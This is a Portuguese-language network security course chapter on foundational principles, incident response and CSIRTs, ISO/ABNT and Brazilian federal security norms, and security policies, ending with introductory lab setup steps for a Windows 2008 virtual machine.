Capítulo 1 - Fundamentos de segurança

permitido deve ser expressamente definido. Na segunda, tudo é permitido e o que é proibido
deve ser definido. Em sistemas seguros, deve-se buscar sempre a primeira atitude (Default
Deny), apesar de nem sempre ser possível. Para o caso do acesso à internet por um nave-
gador, seria viável bloquear toda a internet e liberar apenas o que é permitido?

11 Universal Participation (Participação Universal): todos devem participar do processo


de segurança. Uma única pessoa que não participa do processo pode comprometer todo
o sistema. É importante lembrar que a segurança envolve pessoas, e que elas devem
estar envolvidas, motivadas e participando do processo.

11 Diversity of Defense (Diversidade de Defesa): utilizar diferentes sistemas e formas de


defesa, de modo que uma vulnerabilidade em um sistema pode não estar presente em outros.
Um certo cuidado deve ser tomado para não recair em um dos problemas listados a seguir.

5
11 Inherent Weaknesses (Fraquezas Inerentes): sistemas de um mesmo tipo podem
sofrer da mesma fraqueza inerente a esse tipo de sistema. Exemplos: falha de conceito
ou falha de um protocolo com implementação comum.

11 Common Configuration (Configuração Comum): sistemas diferentes configurados por


uma mesma pessoa ou grupo podem sofrer de problemas semelhantes de configuração.

11 Common Heritage (Herança Comum): sistemas de fabricantes diferentes podem usar


componentes comuns e consequentemente terem as mesmas falhas.

11 Weakest Link (Elo Mais Fraco): corresponde ao ponto mais fraco das suas defesas. As
suas defesas são tão fortes quanto o ponto mais fraco. Este deve ser eliminado quando
possível, ou ser forte o suficiente para desencorajar ataques. Muitos atacantes vão pro-
curar o ponto mais fraco da sua rede, tentando atacar a rede a partir dele. Pontos fracos
da rede devem ser constantemente monitorados quando não puderem ser eliminados.

11 Fail Safe (Falha Segura): os sistemas, em caso de falha, devem sempre fazê-lo de modo
a inibir qualquer tipo de acesso. O prejuízo da falta de acesso é preferível ao acesso libe-
rado de forma irrestrita em caso de falha.

11 Simplicity (Simplicidade): manter o ambiente simples. A complexidade esconde poten-


ciais problemas de segurança. Interfaces gráficas, gerenciadores centralizados e sistemas
com configurações simples são alguns exemplos desse princípio. Porém, deve-se tomar
cuidado com o excesso de simplicidade. Um simples botão na ferramenta com os dizeres
“torne meu sistema seguro” pode não ser adequado. Os sistemas devem ter um mínimo
de parametrização, pois cada ambiente possui suas peculiaridades.

Exercício de fixação 1 e
Conceitos
Explique com suas palavras o que é Defesa em Profundidade e como ela pode ser aplicada
em sua organização.

O que é o Elo mais Fraco? Dê um exemplo na sua organização.

Processo de Tratamento de Resposta a Incidentes


De acordo com o Cert.br, um incidente de segurança pode ser definido como qualquer
Segurança de Redes e Sistemas

evento adverso, confirmado ou sob suspeita, relacionado à segurança de sistemas de com-


putação ou de redes de computadores. Em geral, toda situação na qual uma entidade de
informação corre riscos pode ser considerada um incidente de segurança. No entanto, cada
organização deve definir o que, em relação aos seus sistemas, para ela pode vir a ser um
incidente de segurança. Em alguns casos, organizações podem classificar como incidentes
de segurança qualquer ato que possa não estar em conformidade com a política de segu-
rança adotada pela instituição.

6
Todo incidente ocorrido na organização deve ser tratado de acordo com uma metodologia
definida previamente. Assim, para atender ao processo de resposta a incidentes de segu-
rança a organização deve elaborar uma metodologia visando gerenciar consequências de uma
quebra de segurança. Seu principal objetivo é minimizar o impacto causado por um incidente
e possibilitar o restabelecimento dos serviços no mais curto espaço de tempo possível.

O fenômeno de ataques na internet não é um fato novo: no fim da década de 80 o incidente


conhecido como “Internet Worm” resultou em um incidente que paralisou centenas de
sistemas na internet. Após esse problema, alguns grupos se reuniram para discutir os rumos
da segurança na internet. Essa reunião resultou, mais tarde, na criação do CERT Coordination
Center (Center of Emergency Response Team). Um Centro de Resposta a Incidentes, o CERT foi
uma das primeiras organizações do tipo CSIRT (Computer Security Incident Response Team).

Com o crescimento da internet, em meados de 1996, esses ataques provocam prejuízos que
vão desde a perda de milhares de dólares até o que ocorreu há alguns anos na Europa, onde de
acordo com a agência de notícias Reuters, a internet em um país parou de funcionar após ataques.

Conforme informado pela IFCC (Internet Fraud Complaint Center ), uma parceria entre o FBI
e o Centro Nacional de Crimes do Colarinho Branco dos Estados Unidos, entre maio de 2000
e maio de 2001, em seu primeiro ano de funcionamento, foram registrados 30.503 casos de
fraudes na internet, registros colhidos apenas no site da IFCC.

Segundo o Cert.br, um CSIRT, ou Grupo de Resposta a Incidentes de Segurança, é uma orga-


nização responsável por receber, analisar e responder a notificações e atividades relacio-
nadas a incidentes de segurança em computadores. Normalmente, um grupo de resposta
a incidentes pode ser um grupo dentro da própria instituição trabalhando exclusivamente
para a resposta a incidentes dos serviços prestados pela empresa ou pode trabalhar na
forma de comunidade, auxiliando várias instituições e produzindo estatísticas e relatórios
que beneficiam todo um grupo ou mesmo um país (Cert.br 2007).

Um CSIRT pode agir de várias maneiras dentro da empresa, de acordo com a importância de
seus serviços. Um grupo pode estar ligado diretamente à alta administração da empresa,
de maneira que possa intervir e alterar os processos da instituição, mas também pode agir
apenas como orientador de processos, não estando diretamente envolvido com a tomada
de decisões de segurança (CSIRT Handbook 2003).

Ataques a sistemas computacionais visam comprometer os requisitos de segurança de


uma organização. Esses ataques têm dois tipos de perfil: ativo, onde o atacante faz alguma
ação para obter o resultado esperado, e passivo, onde o atacante utiliza-se de ferramentas
para obter os dados referentes ao alvo. De acordo com o Cert.br, um CSIRT pode exercer
tanto funções reativas quanto funções proativas para auxiliar na proteção e segurança dos
recursos críticos de uma organização. Não existe um conjunto padronizado de funções ou
Capítulo 1 - Fundamentos de segurança

serviços providos por um CSIRT. Cada time escolhe seus serviços com base nas necessi-
dades da sua organização e da comunidade a quem ele atende.

Ciclo de vida de um incidente


11 Estágio 1 – Preparação dos Processos. q
11 Estágio 2 – Gerenciamento de riscos.

11 Estágio 3 – Triagem.

11 Estágio 4 – Resposta a incidentes.

7
A segurança de uma organização sempre estará sujeita a incidentes, como todas as outras
áreas. Os fatores são os mais diversos, desde ameaças não intencionais causadas por usuá-
rios comuns até ameaças técnicas organizadas. Para uma organização é de vital importância
que os incidentes sejam tratados corretamente, e para isso se faz necessário entender como
funciona o ciclo de vida de um incidente.

De acordo com o Instituto de Engenharia de Software da Carnegie Mellon University,


responsável pelo Cert.org, podemos classificar o ciclo de vida de um incidente em quatro
estágios (CSIRT Handbook 2003), conforme veremos a seguir.

Estágio 1 – Preparação dos processos


O início do ciclo de vida de um incidente começa antes do próprio incidente. É necessária a
elaboração de processos e procedimentos para a correta ação empregada contra ameaças e
vulnerabilidades possíveis à organização. É importante que todos os processos empregados
sejam testados e aperfeiçoados. Esses processos têm por finalidade o correto emprego dos
recursos para a resposta a incidentes.

Estágio 2 – Gerenciamento de riscos


Por meio de ações corretivas e preventivas de ameaças existentes, pois estas são um fator
intrínseco dentro de uma organização. O gerenciamento de riscos é muito importante e
deve ser um processo contínuo dentro de uma organização, desenvolvendo medidas de
segurança e calculando seu impacto para cada uma das etapas de um ciclo de incidentes.

Estágio 3 – Triagem
O método de recepção de todo e qualquer indício de incidente é de suma importância, pois
é com uma correta triagem da informação que se inicia todo o processo de catalogação e
resposta ao incidente. Os grupos de resposta a incidentes comumente informam apenas um
meio de contato ou “hotline”, seja para um grupo de resposta de âmbito nacional, privado
ou mesmo dentro da organização. Essa triagem é importante para a aplicação correta do
controle de segurança da informação impactado pelo incidente. Normalmente, esse con-
trole também é atribuído a um gerente de incidente, profissional especializado no problema
que estará à frente do incidente até a sua resolução.

Estágio 4 – Resposta a incidentes


Quando um incidente já passou pela triagem, ele é submetido ao plano de resposta a
incidentes da organização. Nesse ponto, atividades anômalas são facilmente detectadas e a
adoção de medidas apropriadas pode rapidamente identificar sistemas afetados, dimensio-
nando o montante do prejuízo.

Grupos de resposta a incidentes


Prevenção: q
Segurança de Redes e Sistemas

11 Auditoria de segurança.

11 Treinamento e orientação a usuários.

11 Disseminação de informação relacionada à segurança.

11 Monitoração de novas tecnologias.

8
Resposta: q
11 Tratamento de incidentes.

11 Tratamento de vulnerabilidades.

11 Qualidade de serviços de segurança.

11 Consultoria em segurança.

11 Análise de riscos.

11 Planejamento e recuperação de desastres.

O maior desafio para os profissionais de segurança dos dias atuais é a gestão de uma
complexa infraestrutura de comunicação de dados da internet, seu gerenciamento e
manutenção. Na maioria das organizações, as equipes de profissionais em rede não contam
com pessoal em quantidade suficiente para atender à demanda crescente de otimização de
sistemas, atualização incessante de programas para minimizar riscos e defender-se contra
ataques dos mais variados tipos. Esse cenário se torna pior à medida que surgem novas
ferramentas de ataques, malwares, toolkits e a crescente organização de grupos que visam
à paralisação e o roubo de dados na rede mundial de computadores.Nesse contexto, e para
atender à necessidade de resposta a incidentes, surgem os grupos de resposta a incidentes,
cujo objetivo é responder de maneira rápida e efetiva a essas ameaças. Esse grupo tem
como objetivo desenvolver meios para identificar, analisar e responder a incidentes que
venham a ocorrer, minimizando prejuízos e reduzindo seus custos de recuperação.

Os grupos de resposta a incidentes geralmente trabalham em duas frentes, prevenção e resposta.

Prevenção
Caracterizam-se como serviços proativos os serviços onde o grupo procura se antecipar aos
problemas de maneira a preveni-los, gerando uma base de conhecimento para futura pes-
quisa. Dentre as principais atividades de prevenção destacam-se a auditoria de segurança e
o treinamento e orientação a usuários.

Auditoria de segurança

A auditoria de segurança dentro de uma empresa visa submeter seus ativos a uma análise
de segurança com base nos requisitos definidos pela organização ou por normas internacio-
nais. Também pode implicar na revisão das práticas organizacionais da empresa bem como
testes em toda a sua infraestrutura. Nos dois últimos módulos deste treinamento, será
abordado o processo de hardening para servidores Linux e Windows. Uma vez aprovado um
processo de hardening, este pode ser utilizado para auditar a segurança de um ambiente, já
que nesse documento encontra-se a configuração mínima recomendada para um ativo.

Treinamento e orientação a usuários


Capítulo 1 - Fundamentos de segurança

Uma das funções de um CSIRT também é a promoção de palestras e workshops sobre segu-
rança dentro de uma organização. Essas palestras têm o intuito de informar aos usuários as
políticas de seguranças vigentes e como se proteger de vários ataques, principalmente de
engenharia reversa.

Disseminação de informação relacionada à segurança

A disseminação de informação é primordial para o sucesso de um grupo de resposta a


incidentes. Essa disseminação pode ocorrer tanto dentro da organização, através de docu-
mentos e boletins internos, como com a confecção de artigos para distribuição para outros
órgãos externos à empresa.

9
Monitoração de novas tecnologias

Um Grupo de Resposta a Incidentes monitora novos desenvolvimentos técnicos de ataques


para ajudar a identificar novas tendências de futuras ameaças. Esse serviço envolve a leitura
de fóruns e listas de discussão, sites e revistas especializadas.

Resposta
Os serviços reativos englobam atividades que são realizadas após algum evento ou requi-
sição dentro da organização. Baseiam-se em análises de logs e produção de relatórios em
função de alguma detecção de atividade maliciosa. Dentre as principais atividades de res-
posta a incidentes, podemos destacar as seguintes.

Tratamento de incidentes

Segundo Chuvakin e Peikari, autores do livro Security Warrior, uma reposta a incidente é um
processo de identificação, contenção, erradicação e recuperação de um incidente de compu-
tador, realizado pelo time de segurança responsável.

O tratamento de incidentes é a principal atividade de um time de resposta a incidentes. São os


incidentes que vão gerar todo o processo de identificação, classificação e tomada de decisão sobre
quais procedimentos tomar para sanar o problema, quantas vezes o problema foi constatado
dentro de um período, qual o impacto causado pelo incidente e se este obteve ou não sucesso.

Tratamento de vulnerabilidades

O tratamento de vulnerabilidades visa submeter os sistemas a uma auditoria a fim de saber


quais suas fraquezas e como preveni-las através de mitigação de alguns serviços.

Essa metodologia está diretamente ligada à criação do plano de continuidade de negócios


dentro de uma organização, pois, através das avaliações feitas, é possível fazer uma análise
de risco e impacto para as vulnerabilidades encontradas.

Qualidade de serviços de segurança

A qualidade dos serviços de segurança proporciona aumento na experiência adquirida na


prestação de serviços proativos e reativos descritos acima. Esses serviços são concebidos
para incorporar os feedbacks e as lições aprendidas com base no conhecimento adquirido
por responder a incidentes, vulnerabilidades e ataques.

Parte de um processo de gestão da qualidade da segurança pode melhorar a segurança a


longo prazo, gerando base dados de incidentes e suas propostas para solução.

Consultoria em segurança

Um CSIRT pode ser utilizado para fornecer aconselhamento sobre as melhores práticas de
segurança, principalmente dentro de um ambiente militar. Esse serviço pode ser utilizado na
preparação de recomendações ou identificando requisitos para a aquisição, instalação ou
Segurança de Redes e Sistemas

obtenção de novos sistemas, dispositivos de rede, aplicações de software ou criação de pro-


cessos. Esse serviço inclui proporcionar orientação e ajuda no desenvolvimento organiza-
cional ou no círculo de políticas de segurança. Ele pode também envolver o aconselhamento
às normas legais legislativas ou de outros órgãos governamentais.

10
Análise de riscos

Um Grupo de Resposta a Incidentes pode ser capaz de acrescentar valor à análise de risco
e avaliações. Isso pode melhorar a capacidade da organização para avaliar ameaças reais,
fornecer avaliações qualitativas e quantitativas dos riscos para os ativos da organização e
avaliar estratégias para melhor defesa.

Planejamento e recuperação de desastres

Com base em ocorrências anteriores e futuras previsões de tendências emergentes de inci-


dentes de segurança, pode-se afirmar que quanto mais os sistemas de informação evoluem,
mais aumenta a chance de acontecer um incidente. Por isso, o planejamento deve consi-
derar os esforços e experiências passadas de um CSIRT.

Recomendações para determinar a melhor forma de responder a esses incidentes para


garantir a continuidade das operações comerciais devem ser uma prioridade para a orga-
nização. Grupos realizando esse serviço estão envolvidos em continuidade de negócios e
recuperação de desastres, planejamento de eventos relacionados com a segurança informá-
tica e ameaças ataques.

Fonte: CAIS RNP

Exercício de fixação 2 e
Processo de tratamento de incidentes
Explique os estágios do ciclo de vida de um incidente.

Exercício de fixação 3 e
Grupo de resposta a incidentes
O que é prevenção e como ela é feita na sua organização?

Normas ISO/ABNT
Histórico: BSI e ISO q
11 ABNT NBR ISO/IEC 27001:2006 (SGSI) – passível de certificação.
Capítulo 1 - Fundamentos de segurança

11 ABNT NBR ISO/IEC 27002:2005 (código de prática).

11 ABNT NBR ISO/IEC 27005:2008 (gestão de riscos).

11 ABNT NBR ISO/IEC 27011:2009 (telecomunicações).

Um dos primeiros documentos criados para fins de normatização em meios computacionais


foi o Security Control for Computers Systems, publicado em 11 de fevereiro de 1970 pela
RAND Corporation, uma empresa norte-americana sem fins lucrativos especializada em asses-
soria de investigação e análise, fundada em 1948, marcou o início da criação de um conjunto

11
de regras para a segurança de computadores. Mais tarde, o DoD (Departamento de Defesa
dos Estados Unidos) publicou o Orange Book, conhecido também como Trusted Computer
Evalution Criteria. Publicado inicialmente em 1978, em forma de um rascunho, foi finalizado
em 1985. O Orange Book, mesmo sendo um documento já ultrapassado, marcou o início da
busca por um conjunto de regras para a avaliação de um ambiente computacional seguro.

Em 1987, o DTI (Departamento de Comércio e Indústria do Reino Unido) criou um centro


de segurança de informações, que, entre suas atribuições, estava a de criar uma norma de
segurança das informações do Reino Unido. Até 1988, vários documentos foram publicados.
Em 1995, esse centro, denominado Commercial Computer Security Centre (CCSC), juntamente
com o grupo britânico BSI, lança o BS7799:1995, Gestão de Segurança da Informação. Código
de prática para sistemas de informação de gestão de segurança, essa norma é divida em duas
partes: uma homologada em 2000 e, a outra, em 2002. É a base para a gestão de segurança
da informação usada por entidades de metodologia de gestão da segurança da informação
focada nos princípios básicos da segurança: Confidencialidade, Integridade e Disponibilidade.

Em dezembro de 2000, a ISO (International Organization of Standadization ) internaciona-


lizou a norma BS17799, criando a ISO/IEC 17799:2000, uma norma abrangente e interna-
cional voltada para a gestão de segurança da informação.

O objetivo dessa norma era criar um conjunto de regras para assegurar a continuidade do
negócio e minimizar prejuízos empresariais, reduzindo o impacto causado por incidentes de
segurança. As normas da ISO baseadas em segurança da informação foram atualizadas e
agrupadas na família de numeração 27000.

A ABNT (Associação Brasileira de Normas Técnicas ) publicou uma série de normas baseadas
na ISO, traduzidas para o português.

11 ABNT NBR ISO/IEC 27001:2006 – Tecnologia da Informação – Técnicas de segurança –


Sistema de gestão da segurança da informação – Requisitos. Versão atual da BS7799
parte 2. Essa norma especifica os requisitos para estabelecer, implementar, operar,
monitorar, analisar criticamente, manter e melhorar um Sistema de Gestão da Segurança
da Informação (SGSI) documentado dentro do contexto dos riscos de negócio globais da
organização. Essa norma especifica requisitos para implementar os controles de segu-
rança personalizados para as necessidades individuais de organizações ou suas partes.

11 ABNT NBR ISO/IEC 27002:2005 – Tecnologia da Informação – Técnicas de segurança –


Código de prática para a gestão de segurança da informação. Versão atual da ISO/IEC
17799. Essa norma estabelece diretrizes e princípios gerais para iniciar, implementar,
manter e melhorar a gestão de segurança da informação em uma organização. Os obje-
tivos definidos nessa norma proveem diretrizes gerais sobre as metas geralmente aceitas
para a gestão de segurança da informação.

11 ABNT NBR ISO/IEC 27003:2010 – Tecnologia da Informação – Técnicas de segurança –


Diretrizes para implantação de um sistema de gestão da segurança da informação. Essa
Segurança de Redes e Sistemas

norma foca os aspectos críticos necessários para a implantação e o projeto bem-sucedido


de um Sistema de Gestão da Segurança da Informação (SGSI), de acordo com a norma
ABNT NBR ISO/IEC 27001:2006. A norma descreve o processo de especificação e projeto
do SGSI desde a sua concepção até a elaboração dos planos de implantação. Ela descreve
o processo de obtenção de aprovação da direção para implementar um SGSI e fornece
diretrizes sobre como planejar o projeto do SGSI.

12
11 ABNT NBR ISO/IEC 27005:2008 – Tecnologia da Informação – Técnicas de segurança – Gestão
de riscos de segurança da informação. Essa norma fornece diretrizes para o processo de
gestão de riscos e segurança da informação. Norma criada para apoiar o entendimento das
especificações e conceitos estabelecidos pela norma ABNT NBR ISO/IEC 27001:2006.

Para aqueles que desejarem mais informação sobre esse assunto, logo abaixo são listadas
as principais normas sobre segurança da informação:

11 ISO/IEC 27000: Information security management systems – Overview and vocabulary.

11 ISO/IEC 27003: Information security management system implementation guidance.

11 ISO/IEC 27004: Information security management measurements.

11 ISO/IEC 27006: Requirements for bodies providing audit and certification of information
security management systems.

11 ISO/IEC 9797-1: Message Authentication Codes (MACs) – Part 1: Mechanisms using


a block cipher.

11 ISO/IEC 9798-1: Entity authentication – Part 1: General.

11 ISO/IEC 9979: Procedures for the registration of cryptographic algorithms.

11 ISO/IEC 10118-1: Hashfunctions – Part 1: General.

11 ISO/IEC 11770-1: Key management – Part 1: Framework.

11 ISO/IEC 15846-1: Cryptographic techniques based on elliptic curves – Part 1: General.

11 ISO/IEC 18033-3: Encryption algorithms – Part 3: Block ciphers.

11 ISO/IEC 15408-1: Evaluation criteria for IT security – Part 1: Introduction and general model.

11 ISO/IEC 15408-2: Evaluation criteria for IT security – Part 2: Security functional.

11 ISO/IEC 15408-3: Evaluation criteria for IT security – Part 3: Security assurance.

11 ISO/IEC 15443-1: A framework for IT Security assurance – Part 1: Overview and framework.

11 ISO/IEC 15443-2: A framework for IT Security assurance – Part 2: Assurance Methods.

11 ISO/IEC 15443-3: A framework for IT Security assurance – Part 2: Analysis of Assurance Methods.

11 ISO/IEC 18045: A framework for IT Security assurance – Methodology for IT Security Evaluation.

11 ISO/IEC 18043: Selection, deployment and operations of intrusion detection systems.

11 ISO/IEC 18044: Information security incident management.

11 ISO/IEC 24762: Guidelines for information and communications technology disaster


recovery services.

11 ISO/IEC 27033-1: Network Security – Part 1: Guidelines for network security.

11 ISO/IEC 27034-1: Guidelines for Application Security – Part 1: Overview and Concepts.
Capítulo 1 - Fundamentos de segurança

11 ISO/IEC 24760: A framework for identity management.

11 ISO/IEC 29100: A privacy framework.

11 ISO/IEC 29101: A privacy reference architecture.

11 ISO/IEC 29115: Entity authentication assurance.

Políticas de segurança
A Política de Segurança da Informação e Comunicações (POSIC) é o documento mais impor-
tante de uma organização quando se trata de Segurança da Informação. Nela estão todas as
diretrizes, recomendações e deveres de todos. O profissional de segurança deve conhecer
bem a política de segurança da sua instituição e deve balizar todo o trabalho em cima dela.

13
Outras políticas associadas à POSIC tratam de assuntos mais específicos, como por exemplo: q
11 Política de Uso Aceitável (PUA).

11 Política de Controle de Acesso (PCA). w


Para aqueles que
11 Plano de Continuidade de Negócio (PCN).
desejarem continuar
11 Política de senhas.Política de Salvaguarda (backup). seus estudos em
políticas de segurança,
Esse assunto não faz parte diretamente do escopo deste curso, porém é importante visto que não é o
objetivo principal deste
conhecer todas as políticas e legislações do órgão em que se está implantando uma solução
curso, o instituto SANS
de segurança, pois elas podem impactar diretamente no que pode ou não ser feito, nas (sans.org) oferece um
punições para o descumprimento da política e nos responsáveis pelas informações e modelo padrão de
política de segurança
recursos computacionais. A norma ABNT NBR ISO/IEC 27001 possui um capítulo inteira-
que poderá ser
mente dedicado às políticas de segurança. adaptado e utilizado
em qualquer ambiente
No âmbito do Governo Federal, o Gabinete de Segurança Institucional (GSI) da Presidência computacional.
da República, através do Departamento de Segurança da Informação e Comunicações,
publicou uma série de instruções normativas com o objetivo de orientar a administração
pública em diversas questões da Segurança da Informação.

Normas DSIC/GSIPR: q
11 Norma Complementar nº 01/IN01/DSIC/GSIPR: Atividade de Normatização.

11 Norma Complementar nº 02/IN01/DSIC/GSIPR: Metodologia de Gestão de Segurança


da Informação e Comunicações.

11 Norma Complementar nº 03/IN01/DSIC/GSIPR: Diretrizes para a Elaboração de Política


de Segurança da Informação e Comunicações nos Órgãos e Entidades da Adminis-
tração Pública Federal.

11 Norma Complementar nº 04/IN01/DSIC/GSIPR e seu anexo, Diretrizes para o Processo


de Gestão de Riscos de Segurança da Informação e Comunicações (GRSIC) nos órgãos
e entidades da Administração Pública Federal.

11 Norma Complementar nº 05/IN01/DSIC/GSIPR e seu anexo, Disciplina e Criação de


Equipes de Tratamento e Respostas a Incidentes em Redes Computacionais (ETIR) nos
órgãos e entidades da Administração Pública Federal.

11 Norma Complementar nº 06/IN01/DSIC/GSIPR: Diretrizes para a Gestão de Continui-


dade de Negócios, nos aspectos relacionados à Segurança da Informação e Comunica-
ções, nos órgãos e entidades da Administração Pública Federal, direta e indireta (APF).

Em especial foi publicada a Instrução Normativa IN01-GSI/PR, que define orientações para
a Gestão de Segurança da Informação e Comunicações na Administração Pública Federal, e
algumas Normas Complementares:

11 Norma Complementar nº 01/IN01/DSIC/GSIPR: atividade de normatização, que tem


como objetivo estabelecer critérios e procedimentos para a elaboração, atualização, alte-
Segurança de Redes e Sistemas

ração, aprovação e publicação de normas complementares sobre gestão de segurança da


informação e comunicações, no âmbito da Administração Pública Federal.

11 Norma Complementar nº 02/IN01/DSIC/GSIPR: metodologia de Gestão de Segurança


da Informação e Comunicações utilizada pelos órgãos e entidades da Administração
Pública Federal.

14
11 Norma Complementar nº 03/IN01/DSIC/GSIPR: estabelece diretrizes, critérios e proce-
dimentos para a elaboração, institucionalização, divulgação e atualização da Política de
Segurança da Informação e Comunicações (POSIC) nos órgãos e entidades da Adminis-
tração Pública Federal.

11 Norma Complementar nº 04/IN01/DSIC/GSIPR: estabelece diretrizes para o processo


de Gestão de Riscos de Segurança da Informação e Comunicações (GRSIC) considerando
prioritariamente os objetivos estratégicos, os processos e requisitos legais e a estrutura
dos órgãos ou entidades da Administração Pública Federal.

11 Norma Complementar nº 06/IN01/DSIC/GSIPR: estabelece diretrizes para Gestão da


Continuidade de Negócios, nos aspectos relacionados à Segurança da Informação e
Comunicações, nos órgãos e entidades da Administração Pública Federal.

11 Norma Complementar nº 07/IN01/DSIC/GSIPR: estabelece diretrizes para implemen-


tação de controles de acesso relativos à Segurança da Informação e Comunicações,
abrangendo a criação de contas de usuários, rede corporativa de computadores e ativos
de informação. Essa norma contempla inclusive um anexo com um modelo de termo de
responsabilidade a ser utilizado pelos utilizadores dos meios computacionais da entidade.

11 Norma Complementar nº 08/IN01/DSIC/GSIPR: disciplina o gerenciamento de Inci-


dentes de Segurança em Redes de Computadores realizado pelas equipes de Tratamento
e Resposta a Incidentes de Segurança em Redes Computacionais (ETIR) nos órgãos e
entidades da APF (Administração Pública Federal).

11 Norma Complementar nº 09/IN01/DSIC/GSIPR: estabelece orientações para o uso


de recursos criptográficos como ferramenta de controle de acesso em Segurança da
Informação e Comunicações, nos órgãos ou entidades da Administração Pública Federal,
informando principalmente as responsabilidades tanto dos gestores de Segurança da
Informação quanto do agente público que utilize esse recurso.

w Mesmo para empresas privadas ou outras entidades, as normas podem servir como um bom
embasamento para a criação da política de segurança, do grupo de resposta a incidentes de
As normas do DSIC/
GSIPR são públicas e segurança ou do processo de gestão de riscos. Para a comodidade do aluno, o item 6 consta a
podem ser obtidas no NC 03, que trata de diretrizes para a elaboração de uma política de segurança (POSIC).
site do DSIC:
http://dsic.planalto.gov.br/ É possível encontrar na web diversas políticas de segurança completas publicadas por
órgãos públicos brasileiros. Um exemplo seria a Portaria/Incra/P/N° 70, de 29/03/2006 (DOU
nº 62, de 30 de março de 2006).

Exercício de fixação 4 e
Políticas de segurança
O que é política de segurança? Ela existe na sua organização?
Capítulo 1 - Fundamentos de segurança

15
Planejando uma rede segura
11 Visão geral. q
11 Execução em etapas.

11 Documento de planejamento:

22 Prazos.

22 Validação e aprovação.

11 Execução.

A etapa de planejamento é talvez a mais importante na construção de um ambiente de rede


seguro ou na adição de segurança a um ambiente existente. Nessa etapa o profissional vai
obter uma visão geral do que está sendo pretendido, além de dividir a execução em etapas
bem definidas. Recomenda-se que seja elaborado um documento com a descrição de tudo
o que será executado, incluindo prazos, de modo que esse documento seja validado e apro-
vado antes de se iniciar a etapa de execução.

No planejamento, deve ser definida uma série de questões, como por exemplo:

11 Topologia da rede em questão.

11 Servidores e serviços públicos na internet.

11 Servidores e serviços na intranet.

11 Interligação com outras instituições e redes, como extranet.

11 Acesso remoto.

11 Tecnologias de segurança.

11 Mecanismos de proteção da rede.

11 Salvaguarda de informações.

O ISECOM (Institute for Security and Open Methodologies), Instituto para Segurança e
Metodologias Abertas, é uma comunidade colaborativa sem fins lucrativos que desde 2001
dedica-se a fornecer práticas de conscientização, pesquisa e certificação open source na
área de segurança de redes. É responsável pela publicação do OSSTMM (Open Source
Security Testing Methodology Manual), Manual de Código Aberto Sobre Metodologias de
Testes de Segurança. Nesse manual são abordados todos os aspectos a serem levados em
consideração para a execução de um teste de segurança em um sistema computacional.
São abordados temas importantes, como métricas de segurança, metodologias para
melhorar a segurança física de redes, conexões sem fio e comunicações eletrônicas.

Nos capítulos seguintes, serão vistas as tecnologias e técnicas de segurança existentes, para
que o profissional as conheça e seja capaz de realizar e implementar o planejamento de uma
solução de segurança para redes de computadores.
Segurança de Redes e Sistemas

Todas as ferramentas de segurança apresentadas são baseadas em software livre, Software livre
porém os conceitos são genéricos e se aplicam a outras ferramentas, comerciais ou não, Qualquer programa de
computador que pode
existentes no mercado.
ser usado, copiado,
estudado e redistri-
buído sem restrições.

16
Roteiro de Atividades 1
Atividade 1 – Exercitando os fundamentos de segurança
Como vimos, o conceito de segurança mais básico apresentado consiste no CID (Confiden-
cialidade, Integridade e Disponibilidade). Apresente três exemplos de quebra de segurança
em cada um desses componentes, como por exemplo:

11 Planilha Excel corrompida.

11 Acesso não autorizado aos e-mails de uma conta de correio eletrônico.

11 Queda de um servidor web por conta de uma falha de energia elétrica.

Associe cada um dos eventos abaixo a uma estratégia de segurança definida na parte teórica.

11 Utilizar um servidor Web Linux e outro Windows 2000 Server para servir um mesmo con-
teúdo, utilizando alguma técnica para redirecionar o tráfego para os dois servidores.

11 Utilizar uma interface gráfica simplificada para configurar uma solução de segurança.

11 Configurar todos os acessos externos de modo que passem por um ponto único.

11 Um sistema de segurança em que caso falte energia elétrica, todos os acessos que
passam por ele são bloqueados.

11 Configurar um sistema para só ser acessível através de redes confiáveis, para solicitar uma
senha de acesso e em seguida verificar se o sistema de origem possui antivírus instalado.

11 Configurar as permissões de um servidor www para apenas ler arquivos da pasta onde
estão as páginas HTML, sem nenhuma permissão de execução ou gravação em qualquer
arquivo do sistema.

Atividade 2 – Normas de segurança


Acesse o site do DSIC: http://dsic.planalto.gov.br/ e leia a Instrução Normativa GSI/PR nº 1,
de 13 de junho de 2008 e as normas complementares indicadas. Elas são um bom ponto
Capítulo 1 - Roteiro de Atividades

de partida para a criação de uma Política de Segurança, de uma Equipe de Tratamento de


Incidentes de Segurança, de um Plano de Continuidade de Negócios e para a implementação
da Gestão de Riscos de Segurança da Informação.

Atividade 3 – Política de segurança


O Incra (Instituto Nacional de Colonização e Reforma Agrária ) publicou, em 2006, sua política
de segurança da informação no Diário Oficial da União (Portaria INCRA/P/No 70 de 29/03/2006).
Leia o texto procurando identificar as principais dificuldades encontradas pela equipe técnica do

17
Incra para implementar essa política no ambiente de produção. Realize uma crítica construtiva
de forma a identificar tópicos importantes que não foram abordados nesse documento.

Atividade 4 – Configuração inicial do laboratório prático


A partir do capítulo 3, você utilizará as máquinas virtuais instaladas na sua estação para
realizar as práticas do curso. Aproveite esse tempo para se familiarizar com o VirtualBox,
ferramenta gratuita de virtualização que está instalada na sua estação. Lembre-se de que
as atividades são progressivas e interdependentes. No próximo capítulo, serão detalhadas
algumas funcionalidades do VirtualBox. Nesta atividade você vai preparar o servidor
Windows 2008 para as próximas atividades. Siga os passos a seguir e tire as eventuais
dúvidas com o instrutor.

Configuração inicial do Windows 2008 Server:

Passo 1 No console do VirtualBox, inicie as máquinas WinServer-G e FWGW1-G,


onde G é a letra do seu grupo (A ou B) e deverá ser trocado pelo número 1
(para grupo A) e 2 (para grupo B).

Essa regra deverá ser seguida durante todo o treinamento.

Passo 2 No host WinServer-G, altere a senha do usuário administrador para “rnpesr”.


Quando solicitar a ativação do Windows, selecione a opção “Activate Later”.

Passo 3 Instale os complementos do VirtualBox, disponíveis no menu “Dispositivos”,


item “Instalar Adicionais para Convidado”. Após executar esse comando, vai
aparecer uma janela de auxílio de configuração no Windows 2008; aceite
todas as configurações padrão e finalize a instalação (não se esqueça de
autorizar todas as solicitações de instalação de drivers não assinados).
Ao final da instalação, será solicitado o reinício do host; não permita ainda,
pois executaremos outros passos antes de reiniciar o Windows.

Passo 4 Altere o endereço IP da máquina para 172.16.G.20, máscara de rede


255.255.255.0, gateway padrão 172.16.G.1, servidor DNS 8.8.8.8 e 8.8.4.4
(servidores do Google). Em “Set Network Location“, selecione “Work”.

Passo 5 Altere o “Computer Name” para WinServer-G e, em “Workgroup”, altere para


Grupo. Em Remote selecione “Allow Connections from computers running
any version of Remote Desktop (less secure)”.

